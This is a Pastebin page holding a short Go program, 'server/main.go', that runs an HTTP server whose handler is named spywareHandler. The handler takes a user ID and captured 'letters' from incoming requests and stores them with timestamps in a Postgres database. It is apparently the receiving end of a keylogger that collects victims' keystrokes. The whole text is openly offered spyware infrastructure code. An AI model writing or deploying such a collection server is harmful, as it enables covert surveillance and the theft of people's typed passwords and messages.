Advertisement
FlyFar

server/main.go

Aug 19th, 2023
898
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 1.11 KB | Cybersecurity | 0 0
  1. package main
  2.  
  3. import (
  4.     "github.com/go-pg/pg"
  5.     "log"
  6.     "net/http"
  7.     "os"
  8.     "strings"
  9.     "time"
  10. )
  11.  
  12. var DBConnection *pg.DB
  13.  
  14. type Event struct {
  15.     userId    string
  16.     Letters   string
  17.     Timestamp time.Time
  18. }
  19.  
  20. func createDB() *pg.DB {
  21.     url := os.Getenv("DATABASE_URL")
  22.     url = strings.TrimPrefix(url, "postgres://")
  23.  
  24.     dbAt := strings.LastIndex(url, "/") + 1
  25.     database := url[dbAt:]
  26.     url = url[:dbAt-1]
  27.  
  28.     authAndHost := strings.Split(url, "@")
  29.     auth := strings.Split(authAndHost[0], ":")
  30.     username := auth[0]
  31.     password := auth[1]
  32.     hostAndPort := authAndHost[1]
  33.  
  34.     db := pg.Connect(&pg.Options{
  35.         User:     username,
  36.         Password: password,
  37.         Database: database,
  38.         Addr:     hostAndPort,
  39.     })
  40.  
  41.     return db
  42. }
  43.  
  44. func spywareHandler(w http.ResponseWriter, r *http.Request) {
  45.     userId := r.FormValue("userId")
  46.     letters := r.FormValue("letters")
  47.  
  48.     event := &Event{userId, letters, time.Now()}
  49.  
  50.     inErr := DBConnection.Insert(event)
  51.     if inErr != nil {
  52.         log.Println(inErr)
  53.         return
  54.     }
  55. }
  56.  
  57. func main() {
  58.     DBConnection = createDB()
  59.     http.HandleFunc("/", spywareHandler)
  60.     http.ListenAndServe(":8000", nil)
  61. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement